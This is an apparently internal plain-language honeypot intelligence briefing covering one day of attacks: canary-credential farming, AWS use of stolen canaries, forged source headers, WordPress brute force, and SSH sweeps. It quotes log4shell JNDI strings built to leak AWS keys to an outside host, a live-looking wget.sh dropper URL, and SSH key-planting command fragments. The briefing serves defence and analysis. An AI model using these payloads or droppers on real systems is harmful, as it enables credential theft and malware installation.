Switch back to the standard briefing

FLUX FLEET — INTEL BRIEFING №74 — PLAIN LANGUAGE

Period: 2026-11-05 07:34 – 2026-11-06 07:34 UTC (24h, day 72 of operations)
Technical version: /data/flux-logs/reports/flux-fleet-intel-briefing-2026-11-06.md

What happened (plain)

One internet address, 194.180.49.41, run by the Bulgarian hosting company MEVSPACE, attacked our control honeypot node more aggressively than any single address so far. It sent 45,139 fake requests over about 9 hours and, in a 30-minute burst, made our traps hand out 607 fake AWS credentials ("canaries") — about 20 per minute. Four of our fake credentials were then used inside real Amazon Web Services accounts in the same day: 682 attempts, 669 blocked, 13 identity-check calls succeeded, and 4 attempts to start cloud servers (RunInstances) were blocked. A second operator came back from a break with a new trick: forging the origin address on its requests so our logs record fake "source IPs" — and those forged identities collected 9 real fake-credentials. The WordPress password-guessing wave from yesterday shrank to about 145 addresses, and a new group of 25 addresses calling itself UltimateSmtpSmsScanner/1.0 (+authorized) scanned only our two European canary nodes.

A note on terms: a honeypot is a fake server we run to attract attackers. A canary is a fake AWS credential our honeypot mints when someone touches a bait file like /.env. If anyone ever uses a canary in AWS, we get an alert — so a canary that sits unused is a tripwire, and one that gets used tells us who took the bait.

What it means (plain)

  1. Someone is deliberately farming our fake credentials at record scale. 194.180.49.41 pulled 607 canaries in 30 minutes, and its 6-day total is 581 credentials in Tracebit's ledger. Each one is a working fake credential until it expires. (High confidence on the numbers — our trap logs and Tracebit's alert records agree. Moderate on intent — we cannot tell pure quota-burning from credential harvesting from the outside, but both leave the same 581 credentials in hostile hands.)
  2. The people who steal these credentials are trying to do more than look around. The same day saw 682 AWS calls with stolen canaries: mass secret reads (GetParameter ×390), cloud-network listings (DescribeVpcs ×130, DescribeImages ×130), and 4 attempts to launch cloud servers (RunInstances ×4, all blocked — only the second time this "start a server" shape has ever appeared in our funnel). One address, 57.129.123.152, minted a canary at 07:30 and used two credentials before the day closed. (High confidence on the calls themselves; Moderate on tying the three using addresses to each other — they share no infrastructure we can see.)
  3. Forging the "source IP" field has become a real capability. SI-CENSUS (102.220.163.241) sent 243 requests whose recorded source addresses are made-up number patterns (like 92.63.64.65) behind fake CDN headers, and 9 of those forged identities walked away with real canaries. Our own per-address tables now over-count attackers on ai-devbox-1 because of this. The fix on our side: trust the network-level peer address (socketPeer), not the claimed one. (High confidence — every forged row traces to one real peer address. Moderate on spread — we have seen it from one operator for one day.)
  4. The log4shell injection payload has moved to a new operator. The same two ${jndi:ldap://…log4j.check/exploit} test strings that TechTies (93.152.221.96) used in past weeks now ride 296 of the MEVSPACE flood's requests, while TechTies itself stayed silent for a third day. Shared toolkit or same people under new hosting — we cannot tell from payloads alone. (Moderate confidence — text match only, per the host-is-not-the-actor rule.)

Campaigns (who / what / what it means)

MEVSPACE FLOOD-KIT — one address running census, brute force, and credential farming together

  • Who: 194.180.49.41, MEVSPACE sp. z o.o. (Bulgaria). Same organization as a repeat visitor from earlier briefings (visible in №69 and №70 at a few dozen events); this window is roughly a thousand times bigger.
  • What they did: over 11-05 20:57 → 11-06 06:14 stored, it sent 45,139 requests with 4,373 form submissions to control-1: 33,515 tarpit soak events, 4,097 phpMyAdmin password-form posts, a 94-family sweep of config and cloud-credential files, password-file reads (/etc/shadow 515, /etc/passwd 82), Tomcat manager probes, and 265 phpunit remote-code probes whose contents check whether files like .env and wp-config.php exist on the target. In a 30-minute window (05:43–06:13 stored) it hit /.env-style bait paths about 20 times per minute and collected 607 canary credentials. It also injected the log4shell test strings into address and header fields 296 times.
  • What it means: the traps themselves held — nothing it posted succeeded, and the decoys answered everything. But the minting path is real by design: every /.env hit mints a real fake-credential, so sheer repetition drained 607 of them. The operator now holds 581 canaries from this address in six days.

CREDENTIAL-DRAIN — stolen fake-credentials being worked in real AWS

  • Who: 30 collector addresses held 622 fresh canaries this window (the digest's own count is 639 mint rows: control-1 582 from 6 addresses, canary-farm-1 32 from 14, ai-devbox-1 21 from 19, ru-edge-1 4 from 4). Four credentials were actually used in AWS, by three different using addresses.
  • What they did: 57.129.123.152 minted a canary on canary-farm-1 at 07:30 stored and used 2 credentials almost immediately — listing machine images, regions, networks, calling GetParameter, and trying 4 times to start cloud servers (RunInstances, blocked). 152.89.244.89 used one of its 8 canaries for a read-only inventory sweep (DescribeInstances, ListBuckets, ListFunctions, ListKeys, ListRoles, ListUsers). 104.28.198.10, a Cloudflare edge address, used an older credential with a Converse-shaped call; Tracebit saw this one and our own logs did not. Besides those, 618 canaries sit unused. 32 mint attempts failed with "400 Bad Request" (12 on control-1, 12 on ai-devbox-1, 5 on canary-farm-1, 3 on ru-edge-1), at the same time as the flood — probably upstream rate-limiting, not confirmed.
  • What it means: the thing we wait for happened again, one step further: a write-shaped AWS call (RunInstances) was attempted and blocked. The 618 unused canaries stay live tripwires until they expire.

SI-CENSUS — the census operator came back wearing a disguise

  • Who: 102.220.163.241 (VPS Dedicated LLC, Slovenia) — a long-tracked operator; 54 canaries in its 6-day history.
  • What they did: ran its usual config-file sweep on 4 sensors (about 1,053 events, 512 paths, zero form posts) and minted 1 canary. New: 243 requests with made-up source addresses (sequential digit patterns like 92.63.64.65, 54.133.134.135, 49.65.66.67) hidden behind forged CDN headers (Cf-Connecting-Ip, True-Client-Ip, X-Client-Ip, X-Real-Ip, X-Forwarded-Host: localhost) and multi-hop X-Forwarded-For chains, dressed in forged current-browser identities (Chrome/124, Firefox/125, iPhone 17.4.1, Pixel 8 Pro). Nine of those disguised requests minted real canaries on ai-devbox-1 under the fake names.
  • What it means: the census is the same; the disguise is new. Our tables now list nine fake "collectors" that are really one operator. When reading mint tables from now on, trust the network peer, not the claimed source.

JNDI-FIELD-INJECT — the log4shell probe under new management

  • Who: this time 194.180.49.41 (MEVSPACE, Bulgaria) — inside its flood. The previous operator, TechTies (93.152.221.96), has been silent for three windows.
  • What they did: the same two test strings from previous weeks — ${jndi:ldap://${env:AWS_ACCESS_KEY_ID}.log4j.check/exploit} (149 times) and the AWS_SECRET_ACCESS_KEY version (147 times) — placed in the claimed source address and X-Forwarded-For header on requests to control-1, 05:57–06:02 stored. The strings also appear 240 times as a fake browser identity (${jndi:ldap://127.0.0.1/test}).
  • What it means: on a vulnerable server this trick would make the server leak its own AWS keys from environment variables. Ours answered with errors, and the bait path rejected 112 of the mint attempts. The payload outlived its first operator, which points to a shared or circulating toolkit.

ACTUATOR-BEDROCK-KIT — back, minting more, and using one

  • Who: 152.89.244.89 (aurologic GmbH, Germany), on canary-farm-1.
  • What they did: minted 8 canaries this window (13 in its 6-day ledger — its biggest minting day) and used 1 for a read-only AWS inventory sweep: DescribeInstances, GetCallerIdentity, ListBuckets, ListFunctions20150331, ListKeys, ListRoles, ListUsers.
  • What it means: the same actor's pattern continues (mint, then work the credential in AWS), with the minting rate climbing from 2 to 8 per window.

PATHSCAN-CENSUS — third window, same nine-credential harvest

  • Who: 176.123.8.213 (Alexhost S.r.l., Moldova), working canary-farm-1 (290 events, 63 trap families) and lauterbourg-01-ts (281 events) — about 635 events across the two.
  • What they did: the same walk as its two earlier windows: tarpit loops, a random marker probe, then mint attempts on /.env in lowercase and uppercase variants, then a census of AWS config files. All 9 of its 6-day credentials carry one timestamp, 11-05 03:24 stored. Zero AWS use so far.
  • What it means: a fixed shopping list, run to the trap wall, then harvest — now on a steady cadence from two addresses of one hosting company. The open question is still whether its 9 credentials ever get used.

XMLRPC-BRUTE — two record-shaped batches in one day

  • Who: 45.94.31.16 (1337 Services GmbH, Netherlands) on ai-devbox-1. The Google-hosted operators from №72–№73 stayed away.
  • What they did: 2,014 events including 2,000 WordPress XML-RPC posts, delivered as two 1,000-post batches (10:59 → 00:29 stored; the node's hourly chart shows bursts of 975 and 1,097). That brings this address to at least 6,000 such posts across four windows.
  • What it means: the same flood kit keeps circulating among a small set of rental addresses. Our fake WordPress absorbed every post. No credentials minted.

WP-LOGIN-BRUTE — the big wave shrank into steady work

  • Who: about 145 addresses fleet-wide, down from yesterday's 244. The wide, one-attempt-per-address pattern survived only on canary-farm-1 (119 addresses, 176 events). Everywhere else a few addresses did high-rate work: ai-devbox-1 763 events from 10 addresses, netcup-ts 601 from 6, lauterbourg-01-ts 436 from 8, ru-edge-1 61 from 1, frantech-ts 228 from 1.
  • What they did: the same probe-then-post cycles against /wp-login.php, 1,219 password posts total. One new standout, 103.154.62.40 (Vietnam Posts and Telecommunications), posted 114 probes and 114 password attempts against frantech-ts spread over 22 hours — about 5 per hour. Zero canaries minted; the fake WordPress accepted and held every attempt.
  • What it means: yesterday's 244-address wave looks like a one-day spike. The campaign itself continues as slow distributed lines, and it still composes with the WordPress user-enumeration walker.

REGISTRY-HUNT — the DigitalOcean walker pool keeps minting

CONFIGBUNDLE-KIT — the standing collector is back

  • Who: 208.84.100.218, tracked since 10-02.
  • What they did: 54 events across canary-farm-1, ai-devbox-1 and control-1, minting 5 canaries (10 in its 6-day ledger) after one idle window.
  • What it means: a persistent, low-volume collector. Its №72 census at record width (6,709 paths) is still the family's biggest run.

ULTIMATE-SMTP-SWEEP — new this window

  • Who: 25 addresses, all in 195.210.105.x, visiting only canary-farm-1 and lauterbourg-01-ts in pairs.
  • What they did: 486 events between 15:50 and 00:18 stored (about 8.5 hours), roughly 19 events per address, every single request under one honest self-label: UltimateSmtpSmsScanner/1.0 (+authorized). No canaries minted, no form posts seen.
  • What it means: 25 coordinated addresses that announce themselves by name. That may be a brazen tool or a research project we are classifying as hostile for now. One of its addresses (195.210.105.172) did mint 1 canary. It gets promoted to a standing threat on a second sensor, a form post, or a mint repeat; re-classed as benign if the behavior stays this shallow.

MEGA-DICTIONARY — nothing ran this window

No address replayed the 14,922-path dropper dictionary. The Pfcloud loop (204.76.203.18) recorded zero events after 11-05 05:42 stored — its last activity ended before this window opened. (Our digest still shows a table row for it with old timestamps — a quirk we noted for the digest maintainers, see below.)

Smaller watchers

  • 67.230.190.82 (IT7 Networks, US): 304 form posts to /index.php on lauterbourg-01-ts in 25 seconds (00:49:47–00:50:12 stored, no browser identity, one-byte bodies containing just x), testing the php2shell code-execution bait surface. We will name it if it returns.
  • 193.47.62.109 (BestDC Limited, Bulgaria): second run of the webshell-and-phpinfo sweep — 1,142 events on netcup-ts in 5 minutes and 552 on sponge-01-ts. Two runs in two windows, so it now has a name in our registry: BESTDC-CENSUS.
  • A new mixed cluster (8 addresses, 48 events, 5 sensors) walking /login.htm → /login → /index.htm: includes honest Censys research addresses plus 45.148.10.194 and 139.162.33.108 — several actors sharing one shape, not one group.
  • 79.124.58.82 (Tamatiya EOOD, Bulgaria): 300 events / 150 paths in 1 minute on lauterbourg-01-ts. 34.15.131.22 (Google, Thailand): 278 events / 273 paths in 1 minute. Both one-shot bursts, worth watching for repeats.
  • GIT-HARVEST (35.232.76.162): fifth straight window of the same shape, 75 events on 3 sensors, honest harvest/1.0 identity, no mints.
  • Benign/research: Censys singles, the honest CriminalIP/1.0 scanner on canary-farm-1, and 71.6.155.70's 8-sensor handshake pattern. No known-benign operator turned hostile.

Standing actors (who keeps coming back)

  • 194.180.49.41 (MEVSPACE) — third recorded appearance (№69, №70, №74), this one about a thousand times larger.
  • SI-CENSUS (102.220.163.241) — back after two idle windows, 54 canaries in its 6-day ledger, now with the forgery capability.
  • REGISTRY-HUNT's DigitalOcean pool — present in every window on record, still minting.
  • 45.94.31.16 (XMLRPC-BRUTE) — fourth appearance, same 1,000-post batch cadence.
  • 152.89.244.89 (ACTUATOR-BEDROCK-KIT) — third window, minting more and using again.
  • 176.123.8.213 (PATHSCAN-CENSUS, Alexhost) — three windows, the same fixed 9-credential list.
  • 208.84.100.218 (CONFIGBUNDLE-KIT) — minting again after one quiet window, tracked since 10-02.
  • 23.132.164.201 — minted 1 on canary-farm-1 (9 in its 6-day ledger), antique-browser single-path collector.
  • GIT-HARVEST (35.232.76.162) — fifth consecutive window, unchanged.

Network sweeps (Arkime) — who knocked on the front door without ever typing anything

The HTTP traps cannot see plain connection-level knocking, so we read the fleet's own packet sensors (Arkime). This window: 74,283 inbound SSH sessions, 65 distinct client fingerprints. Three standing sweep campaigns stayed above the "dispersed" line (50+ source addresses and 20+ networks on one port, no login attempts):

  • LIBSSH-MASSSWEEP (f555226df1963d1d3c09daf865abdc9a, banner ssh-2.0-libssh_0.9.6): 2,217 sessions from 204 addresses in 120 networks across 48 countries. Daily address counts over the last week: 10-31: 455, 11-01: 610, 11-02: 496, 11-03: 149, 11-04: 239, 11-05: 223, 11-06: 72.
  • GO-SPRAY-SWEEP (06ff3615a51b2af343ec22abc8e30bbc, banner ssh-2.0-go): 2,564 sessions from 161 addresses in 77 networks across 32 countries — dispersed for a second straight day. Daily series: 10-31: 101, 11-01: 141, 11-02: 17, 11-03: 13, 11-04: 10, 11-05: 168, 11-06: 8.
  • GO-SSH-SWEEP (0a07365cc01fa9fc82608ba4019af499, banner ssh-2.0-go): 21,448 sessions from 81 addresses in 49 networks — still the fleet's heaviest single-fingerprint load. Daily series: 10-31: 79, 11-01: 73, 11-02: 65, 11-03: 62, 11-04: 47, 11-05: 84, 11-06: 28. Its busiest ranges (77.239.124.x, 109.160.32.x) are the same ranges as the bot that runs discovery commands inside our frantech-ts honeypot.
  • OPSSH-UBUNTU-SWEEP (184781a96d49…), flagged in the two previous windows, did not appear at all this window. Its three-banners-under-one-fingerprint question stays unanswered.
  • GO-SCATTER-SWEEP (16443846184e…): 10,339 sessions from 33 addresses in 21 networks — below the dispersed threshold.
  • Two unregistered fingerprints to watch: 2ec37a7cc8da… (1,591 sessions from 16 addresses on just 3 networks — odd shape) and e54ef3ec27fe… (27 sessions, 18 addresses, 8 networks).
  • One fleet-side note, not analyzed here: the packet pipeline's tags now include contabo-sponge-02-ts and proxy (13,226 sessions) alongside bahrain-sponge-01-ts (11,268).

Canaries (minted and used) — the fake-credential economy

This window the sensors minted 622 canary credentials to 30 collector addresses (digest count: 639 mint rows). 4 reached real AWS and were used: 682 use events — 669 blocked, 13 identity-checks succeeded (identity checks reveal almost nothing). Blocked operations: GetParameter ×390, DescribeVpcs ×130, DescribeImages ×130, ListRegions ×4, RunInstances ×4. 618 canaries were taken and never used — every one stays a live tripwire until it expires.

Who took them (collector — sensor — canaries taken — used in AWS — mint history where the section carries it):

  • 194.180.49.41 — control-1 — 575 — 0 used — 581 mints since 2026-10-31 23:24
  • 152.89.244.89 — canary-farm-1 — 8 — 1 used (DescribeInstances, GetCallerIdentity, ListBuckets, ListFunctions20150331, ListKeys, ListRoles, ListUsers) — 13 mints since 2026-11-03 10:43
  • 173.35.95.189 — ai-devbox-1 — 2 — 0 — 7 mints since 2026-11-02 17:49
  • 173.35.95.189 — canary-farm-1 — 2 — 0 — same 7-mint history
  • 208.84.100.218 — ai-devbox-1 — 2 — 0 — 10 mints since 2026-11-04 00:55
  • 208.84.100.218 — canary-farm-1 — 2 — 0 — same 10-mint history
  • 23.234.104.234 — canary-farm-1 — 2 — 0 — 2 mints since 2026-11-05 18:26
  • 102.220.163.241 — ai-devbox-1 — 1 — 0 — 54 mints since 2026-10-31 11:01
  • 121.98.99.100 — ai-devbox-1 — 1 — 0 — 1 mint since 2026-11-05 12:39
  • 133.110.111.112 — ai-devbox-1 — 1 — 0 — 1 mint since 2026-11-05 12:39
  • 155.117.232.31 — ai-devbox-1 — 1 — 0 — 4 mints since 2026-11-03 18:19
  • 158.173.79.57 — ai-devbox-1 — 1 — 0 — 1 mint since 2026-11-06 06:05
  • 163.171.172.173 — ai-devbox-1 — 1 — 0 — 1 mint since 2026-11-05 12:39
  • 164.92.107.174 — canary-farm-1 — 1 — 0 — 2 mints since 2026-11-03 21:47
  • 167.99.210.137 — ai-devbox-1 — 1 — 0 — 4 mints since 2026-11-03 10:28
  • 167.99.210.137 — canary-farm-1 — 1 — 0 — same 4-mint history
  • 172.81.135.182 — ru-edge-1 — 1 — 0 — 2 mints since 2026-11-05 04:59
  • 173.35.95.189 — ru-edge-1 — 1 — 0 — same 7-mint history
  • 179.43.137.202 — ru-edge-1 — 1 — 0 — 2 mints since 2026-11-03 12:51
  • 180.93.232.115 — ai-devbox-1 — 1 — 0 — 5 mints since 2026-11-04 14:26
  • 180.93.232.115 — ru-edge-1 — 1 — 0 — same 5-mint history
  • 187.76.77.78 — ai-devbox-1 — 1 — 0 — 1 mint since 2026-11-05 09:36
  • 195.178.110.159 — canary-farm-1 — 1 — 0 — 2 mints since 2026-10-30 14:19
  • 195.210.105.172 — canary-farm-1 — 1 — 0 — 1 mint since 2026-11-06 00:17
  • 206.189.19.19 — ai-devbox-1 — 1 — 0 — 1 mint since 2026-11-05 21:46
  • 208.84.100.218 — control-1 — 1 — 0 — same 10-mint history
  • 209.38.208.202 — canary-farm-1 — 1 — 0 — 4 mints since 2026-11-01 21:16
  • 211.219.220.221 — ai-devbox-1 — 1 — 0 — 1 mint since 2026-11-05 12:39
  • 23.132.164.201 — canary-farm-1 — 1 — 0 — 9 mints since 2026-10-30 12:45
  • 24.57.58.59 — ai-devbox-1 — 1 — 0 — 1 mint since 2026-11-05 09:36
  • 25.2.3.4 — ai-devbox-1 — 1 — 0 — 1 mint since 2026-11-05 12:39
  • 45.157.112.204 — control-1 — 1 — 0 — 1 mint since 2026-11-06 00:21
  • 57.129.123.152 — canary-farm-1 — 1 — 2 used (DescribeImages, DescribeRegions, DescribeVpcs, GetCallerIdentity, GetParameter, ListRegions, RunInstances) — 1 mint since 2026-11-06 07:30
  • 64.226.65.160 — canary-farm-1 — 1 — 0 — 2 mints since 2026-11-02 06:15
  • 7.90.91.92 — ai-devbox-1 — 1 — 0 — 1 mint since 2026-11-05 09:36
  • 8.186.187.188 — ai-devbox-1 — 1 — 0 — 1 mint since 2026-11-05 12:39
  • 104.28.198.10 — outside our log window — 0 minted — 1 used (Converse) — no flux mints in its history window

Two reading rules for that list: the nine odd-number-pattern addresses on ai-devbox-1 (7.90.91.92, 25.2.3.4, 8.186.187.188, 24.57.58.59, 121.98.99.100, 133.110.111.112, 163.171.172.173, 187.76.77.78, 211.219.220.221) are one operator — SI-CENSUS — behind forged identities. And the section also tracks bigger hoarders who did not mint this window: 150.241.66.127 (9), 45.148.10.120 (9), 46.148.227.131 (7), 85.11.167.204 (7), 102.22.219.226 (6), 185.177.72.64 (6), 74.0.42.13 (6), 154.162.45.255 (5), 202.65.239.148 (5), 69.197.186.50 (5), 108.181.98.163 (4), 193.47.62.29 (4), 137.23.38.53 (3), 157.245.36.108 (3), 158.140.191.104 (3), 68.183.180.73 (3), 87.192.41.180 (3), 93.123.109.247 (3), 98.97.76.10 (3), and the pool members 139.59.143.102 (4), 159.89.127.165 (4), 207.154.212.47 (4), 209.38.208.202 (4), 64.225.75.246 (4), 45.138.12.16 (4), 45.138.12.51 (4), 138.68.144.227 (3), 159.89.12.166 (3), 167.99.210.137 (4), 209.97.180.8 (5), 180.93.232.115 (5), 155.117.232.31 (4). None of them used a credential in AWS this window.

How the fleet behaved — volumes, posture, and one logging quirk

  • control-1 +845% (46,880 events vs a 4,961 seven-day average): 96% of that was the single MEVSPACE flood. Without it the node ran about 1,741 events — quieter than normal. Second record day in a row, each caused by one actor.
  • frantech-ts −91% (1,042 vs 11,435): no dictionary replay and no heavy census on its fake web surface this window. Its separate ssh/telnet honeypots ran normally (below).
  • canary-farm-1 −63% (2,277 vs 6,200): yesterday's heavy visitors all stayed home.
  • ai-devbox-1 +42% (4,450): the two XML-RPC batches, the WordPress line, and SI-CENSUS's disguised sweep.
  • netcup-ts +59% (2,513): the BestDC run plus WordPress posts. sponge-01-ts +14% (1,436). ru-edge-1 −54% (649), lauterbourg-01-ts −26% (2,743).
  • Canary economics: 639 mint rows, 32 failures all of the "400 Bad Request" kind, spread across the four canary sensors while the flood ran — most likely the credential service pacing us, not confirmed. One address consumed 607 mints in 30 minutes; minting is designed to fire on a real bait hit, so an attacker can drain quota by repetition.
  • Header-forgery counters: 2,409 requests carried X-Forwarded-For; 243 carried multi-hop forged chains (first time this counter ever fired); 313 carried headers our pipeline ignored; 539 were single-entry forgeries (296 the log4shell strings inside the MEVSPACE flood, 243 SI-CENSUS's disguise kit — both pinned to real peer addresses). TLS stayed HTTP-led on every node; control-1 took its whole 46,880-event day over plain HTTP.
  • control-1's discovery ramp: 54 days live. Today's 46,880 events / 210 addresses is flood-inflated; yesterday was 20,567 / 136 (the dictionary replay); the day before 2,730 / 100. Its bait is working exactly as designed — fresh IP, real-looking surface, record attention.
  • New logging quirk to fix: the digest's top-talker table can show old timestamps with fresh-looking counts (the 204.76.203.18 row lists 294 events stamped 11-05 02:34–05:42, but a direct query for this window returns 0 — the loop ended before the window opened). Until it is fixed, re-check any top-talker whose timing matters.
  • First-seen lists share one upload timestamp per batch, so they are inventories, not timelines. New arrivals this window include a frontend-source sweep on canary-farm-1 (/src/config.ts, /src/App.vue, /src/api.ts, /src/main.ts, /src/services/api.ts, /src/env.ts, /src/main.js), /mailconfig.json and /apikey.json on lauterbourg-01-ts with a self-labeled SecurityResearch/1.0 identity, and the honest CriminalIP/1.0 scanner on canary-farm-1.

SSH/telnet honeypot (frantech-ts — one host, not fleet-wide)

This is a single host running fake SSH (port 2222) and telnet (2323) — its numbers are never a fleet total. Of 363 addresses that tried passwords, 244 got a shell (67%) and 187 ran a command (77% of those). In events: 15,132 password attempts → 3,594 accepted logins → 10,433 commands. Telnet botnets: 551 attempts.

No operator typed anything new — 0 new commands out of 4,636 distinct, a fifth quiet window — and no new username/password pairs out of 8,829 offered. The same password families lead: rootssssss23424123123 (282 attempts), the gs5662d34 family (215 + 161 + 122 attempts), then commodity pairs like root/123456 (84) and pi/raspberry (72). The recurring toolkit: a system-discovery loop built on uname (1,925 + 1,923 events, from addresses in the 109.160.32.x range — the same range as the GO-SSH-SWEEP knockers), an SSH key-planting pair (chattr -ia .ssh/lockr -ia .ssh plus a key echo, ~870 events from about 120 addresses), and a GPU-hunting pass (nvidia-smi/lspci lines, 130 events each from 2 addresses, example 209.99.190.186).

Malware staging (same single host): one new download address appeared — http://143.246.56.120:8080/wget.sh, fetched 4 times at 15:03 stored, serving a 6,758-byte script (hash starts bdfa24ca6abf). It follows the standard wget.sh/curl.sh dropper pattern on an unusual port. The full payload inventory on this host is now 79 download addresses on 24 hosts, with 24 captured files; the №72 staging file http://5.175.192.232/bot_mips drew no new fetches. One host's C2 inventory is never a fleet number.

Open questions

  1. What happens to 194.180.49.41's 581 stolen credentials? If any is used in AWS, that is the escalation event. Does the credential service rate-limit or revoke after a 607-mint flood — and were today's 32 failures that, or something else?
  2. Who is 57.129.123.152, and will it try again? It minted a canary at 07:30 and was working it minutes later, including 4 blocked attempts to start cloud servers. We do not know who runs it. A second sighting, or any successful provisioning call, is the fleet's red line.
  3. Will the IP-forgery kit spread? SI-CENSUS used it; nine fake identities collected real credentials. Should the daily digest warn readers when mint tables contain forged source addresses — and what in the digest script caused the stale-timestamp top-talker rows?
  4. Does the WordPress brute keep its new shape? A few fast addresses plus a 119-address wide leg on one node, or a return to yesterday's 244? Does any attempt ever draw a "success" from the fake WordPress?
  5. Is OPSSH-UBUNTU-SWEEP gone? Two flagged windows, then nothing. A return with a fourth banner variant supports the "banner pool" theory; a second quiet window starts the retirement question.
  6. What is the new dropper at http://143.246.56.120:8080/wget.sh? The 6,758-byte script is captured on the node and not yet read; reading it names the family.

Plain language version of: flux-fleet-intel-briefing-2026-11-06.md